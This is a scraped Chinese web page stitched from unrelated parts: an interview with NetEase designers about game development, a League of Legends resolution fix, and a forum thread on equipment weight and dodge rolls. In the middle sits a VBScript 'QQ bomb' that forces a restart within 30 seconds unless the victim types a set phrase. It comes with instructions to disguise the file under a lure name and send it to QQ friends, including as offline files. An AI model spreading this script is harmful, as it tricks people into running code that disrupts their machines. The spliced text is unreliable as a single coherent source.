神武3这个游戏怎么样咋弄啊?

那些让你无法自拔的游戏们是怎么做出来的?
稿源:优设网
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:《阴阳师》、《王者荣耀》、《绝地求生》、《旅行青蛙》——爆款游戏在过去两年层出不穷。不知道你有没有想过,那些在你手机里让你「无法自拔」的游戏们是怎么做出来的呢?为什么游戏会有让人愿意为之「挥金如土」的魔力?为什么你会对着游戏哭泣又大笑?这次,我们请到了网易游戏的设计总监邵堃和资深设计师邵腾,一起来聊一聊游戏设计。一款游戏是怎样诞生的?UX Coffee&:对一个游戏来说,从想法的产生,到开发,再到运营,整个诞生的过程是什么样的呢?邵堃&:我觉得游戏的诞生可以用一句话来概括,就是整个过程是一个测试的过程,是对于想法的反复论证。具体来讲,我们会先做出一个非常精简的只有核心体验的演示
Demo。所谓核心体验,拿第一人称射击游戏来说,它的核心体验就是几个人打来打去,我们会做一个 Demo
来表达出我们的想法,把这个体验最有趣的部分做出来。如果这个 Demo 能够达到我们的预期,我们就会进行立项,然后会进入到 Alpha
开发阶段。这个阶段大概会把这个游戏的核心体验做得更完善,然后加入一些「游戏系统」,所谓游戏系统,就是比如说登录、好友系统、聊天系统、背包系统、商城系统等等。把这些系统加入进去之后会再进行一次测试,如果测试顺利,就会进入到
Beta 阶段,加入更多的玩法系统,比如养成系统、枪支和装备的强化、交易系统等,让你和其他玩家进行情感上、经济上的联系。△ 《终结者2:审判日》战斗主界面,图片来源:网络这个阶段通常才是我们第一次把游戏拿到真实的玩家面前进行测试的时候。我们会找很小规模的玩家(几百人)去真正体验这个游戏。我们会看玩家在你这个游戏生态里是怎么玩的,会收集很多反馈,比如核心体验好不好玩,社交顺不顺畅,交易系统能不能达到他们的预期等等。之后我们会结合玩家反馈继续深度开发。这个时候可能会进行第二次玩家测试,这个时候我们要平衡玩家的需求和我们开发组/公司的需求。当玩家的留存、传播等数据还不错的时候,我们就会进入到游戏的后期开发阶段。就是把所有东西做一个整合。在这个阶段我们会极大地去优化画质,提升用户体验。等这个开发阶段做得差不多的时候,我们会去找玩家进行「付费测试」。游戏毕竟是一个商业产品,我们不仅要看这个游戏好不好玩,还要看它在商业上的表现怎么样。我们会看有多少人愿意去花钱,他们是愿意花一块钱还是愿意花一百块钱?△ 《王者荣耀》商城界面,图片来源:腾讯新闻在付费测试之后,我们就会开始做推广、营销和运营方面的准备了。对于游戏来说,发布时机也是很重要的。比如一些主打青少年的游戏,我们会把发布时间定在暑期或者节假日。发布之后,游戏会进入运营阶段,它其实也是一个反复测试、论证的过程。几百万上千万的玩家,跟我们几百人规模的小测试是完全不同的。我们需要了解这个量级下用户对游戏的诉求,他们在游戏里面是否还能够持续感受到乐趣,他们是否需要交更多的朋友?能不能获得更多的成长和成就?游戏是一个文化和内容的消耗品,玩家可能花两个月时间,就把你游戏所有的内容和副本、故事都已经打通了,这个时候玩家就可能会流失。所以这时候游戏还需要不断开发出新的内容、新的故事,比如说《魔兽世界》每年都会推出一个新的资料片去完善它,我们也是一样的。其实运营也是一个丰富游戏、扩充游戏内容,获取玩家反馈这样一个不断行进的过程。一个好的游戏可以运营十几年,上线之后的除了优化自己之前内容之外,还不断让玩家有更多的东西可以体验。△ 《魔兽世界》游戏界面,图片来源:百度知道要快、要好、要新——做游戏真的很难!UX Coffee :大家都说做游戏行业的从业者上辈子都是折翼的天使,因为非常累。能跟我们讲一讲你们开发一款游戏的速度有多快吗?邵堃 :手游的话,平均在一年到一年半,在一些特殊的情况下,可能会被压缩到半年,甚至只有几个月的时间。一个公司可能有非常多的游戏,在某个玩法火了之后,其实可以把它的技术体验迅速移植,在另一个产品上呈现给玩家,那成本和时间线就大大缩短了。邵腾 :在多短的时间里高效地将一个游戏想法实现出来,说明了一个公司的成熟度。UX Coffee :感觉现在游戏越来越趋同,有一个玩法或者概念爆火以后,很多游戏公司就一拥而上抓着这个想法做很多个类似的游戏。你们怎么看这种现象?邵堃 :游戏行业发展到今天,你可以看到市场上会有各种各样的游戏给到玩家。去完全创造一个之前没有的玩法是非常难的。各种游戏类型,每一个游戏类型的各种设备,甚至每一个设备下的每一种玩法,几乎都可以找到,游戏行业已经是一片红海了。比如最近流行的「吃鸡」,其实最早起源于 H1Z1
这个游戏,玩法到今天都基本类似,就是一堆人在一个城里互相杀,最后生存的那一名玩家可以「吃鸡」。后来差不多玩法的《绝地求生》爆火了,他们花了两年的时间把这个游戏打磨运营到现在这样 2000 多万玩家的规模、大家都看到了这样一个产品的火爆,很多公司就决定把它从端游转到手游上。《阴阳师》之前爆火,但很多人不知道其实在它之前也是有一些类似玩法的游戏的,其中有一款叫《魔灵召唤》。只不过《阴阳师》在品质、美术、画风、声优等用一种日式和风的东方文化把它重新包装,契合了中国这几年比较火的二次元文化,用一个新的题材来包装一个旧的玩法,无意间就引爆了。△ 网易游戏旗下《阴阳师》,图片来源:图片来源:u17邵腾 :其实相同的核心玩法下,不同的题材/包装是会有不同的受众的,几款类似的游戏的目标用户可能会是不同的,这才是我们做这件事情的价值,并不是因为这个游戏火了我们才要做。邵堃 :我们平时看到大家讨论的都是一些有名的游戏,其实大部分人都没有看到更多在冰山下面被遗弃的游戏。可以说99%以上的游戏都在冰山之下,不为人所知。
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这个qq群里的游戏怎么弄??
我有更好的答案
on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(&wscript.shell&)WSHshellA.run &cmd.exe /c shutdown -r -t 30 -c &&快说潮流哥特,不说就30秒关你机,不信,试试···&& &,0 ,true dim ado while(a && &潮流哥特&)a = inputbox (&说潮流哥特,不然就不关机,快撒,说 &&潮流哥特&& &,&说不说&,&不说&,)msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox&loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)如果谁运行了这个QQ炸弹,在30秒后会自动关机。下面说一下使用方法:最简单的使用方法是,你直接发给好友,让他运行,然后他就中招了。 还有个更加恶毒的,不在线的QQ好友你可以向他们发送QQ离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了你自己也可以测试一下这个QQ炸弹的威力。
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一进LOL游戏就这样 怎么弄啊 急
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应该是游戏分辨率设置问题在游戏目录下找到\Game\Config,在Config文件夹下有个Game.cfg文件,用记事本打开它,在里面找到这行:Windowed=0,把=0改成=1,保存退出。然后进入游戏,会发现游戏窗口化了,然后在游戏里右下角小地图旁边找到选项,在选项里把分辨率调整成适合自己的就好了。下载一个LOL盒子,用他进入游戏,也可以。(这个办法最简洁也最有效)或者用TGP有个游戏设置,你设置成窗口化,开自定义或者人机,然后ESC设置游戏分辨率。(不知道电脑最佳分辨率的打开你电脑个性化或者控制面板看看电脑当前的分辨率是多少)
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我想问这游戏的重量是怎么回事…怎么个设定?
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游戏达人, 积分 2212, 距离下一级还需 1288 积分
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比如我一开始选的骑士,让后给了我一套衣服,剑和盾!游戏一开始,我觉得翻滚有那么点延迟!其次我把衣服全脱了发现翻滚特别流畅,而且滚的更快更远,但是我衣服一穿上就又变慢和短了,我看了下重量是55,但是我穿衣服和拿剑和盾的总重量也没超过55啊,然后我就试着一件一件脱,发现就算只脱掉一个头盔,翻滚下来也好像远了一点…谁讲下怎么回事!我觉得应该是重量问题。但是怎么判断这个重量对这个翻滚的影响!
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高级玩家, 积分 371, 距离下一级还需 229 积分
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超过总重量的70%会有惩罚。
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游戏达人, 积分 2212, 距离下一级还需 1288 积分
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超过总重量的70%会有惩罚。
原来是这样,那是不是游戏时候最好别超过这个百分比
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原来是这样,那是不是游戏时候最好别超过这个百分比
对,一般都是这样玩,后面有些戒指可以提高上限,加属性也可以提高,不过有点亏。
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对,一般都是这样玩,后面有些戒指可以提高上限,加属性也可以提高,不过有点亏。
现在还有点没摸透这个游戏的精髓玩法,大概懂一点…像这个重量问题也没什么提示的,对新手来说就有点蒙逼了,幸好还是感觉出来了,不然一开始肯定就难受死…
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资深玩家, 积分 9911, 距离下一级还需 8089 积分
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现在还有点没摸透这个游戏的精髓玩法,大概懂一点…像这个重量问题也没什么提示的,对新手来说就有点蒙逼 ...
我怎么记得50%往上就有影响
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游戏达人, 积分 2212, 距离下一级还需 1288 积分
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我怎么记得50%往上就有影响
我靠,999大神,你也玩这个吗?来来来,心得什么的传授一点,好少死几次…
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游戏达人, 积分 2056, 距离下一级还需 1444 积分
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我怎么记得50%往上就有影响
正确来说,是30%以上就有影响,不过一般穿衣服都会超30%所以反倒是把这个做基准态了。
30%以下是轻量翻滚,距离长无敌时间多,30%-70%是中量翻滚,距离普通无敌时间一般,70%-100%是重量翻滚,这就没什么卵用了因为前摇后摇都能坑死人,100%以上是不能翻滚。
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高级玩家, 积分 371, 距离下一级还需 229 积分
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我怎么记得50%往上就有影响
50%影响不大,一般都是卡70%的。50%能穿的装备太少。
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资深玩家, 积分 9911, 距离下一级还需 8089 积分
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50%影响不大,一般都是卡70%的。50%能穿的装备太少。
哦,这样啊
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我靠,999大神,你也玩这个吗?来来来,心得什么的传授一点,好少死几次… ...
看游戏评价高,我过来瞧瞧。。。
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游戏达人, 积分 2888, 距离下一级还需 612 积分
游戏达人, 积分 2888, 距离下一级还需 612 积分
3个档位&&%30以下 %70以下 以上& && & 30以内 除非 几周目 后 属性 加满了 穿 合适的 装备 可以弄到& &要不 就&&还是 %70 标准吧
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游戏达人, 积分 2212, 距离下一级还需 1288 积分
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看游戏评价高,我过来瞧瞧。。。
瞧个毛,别浪费你的神雕970,一起开坑搞起来
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高级玩家, 积分 325, 距离下一级还需 275 积分
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对,一般都是这样玩,后面有些戒指可以提高上限,加属性也可以提高,不过有点亏。
请问加哪项属性是提高这个的上限的?
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高级玩家, 积分 312, 距离下一级还需 288 积分
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请问加哪项属性是提高这个的上限的?
1点体力等于1点重量多一点点
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高级玩家, 积分 325, 距离下一级还需 275 积分
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1点体力等于1点重量多一点点
哦 谢谢···我有点这个,装备重量是有提升,但重量比好像没有提升。
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超级玩家, 积分 690, 距离下一级还需 310 积分
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30%以下最好
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游戏达人, 积分 2753, 距离下一级还需 747 积分
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新手还是适当加点负重。拿大盾穿点中甲还可以的。
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游戏狂人, 积分 1091, 距离下一级还需 909 积分
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30以下属于轻装,翻滚更远,跑路更快;
70以下属于普通,正常翻滚和跑动;
100以下重装,翻滚迟钝,精力恢复变慢;
100以上比较有意思,楼主可以试试看。
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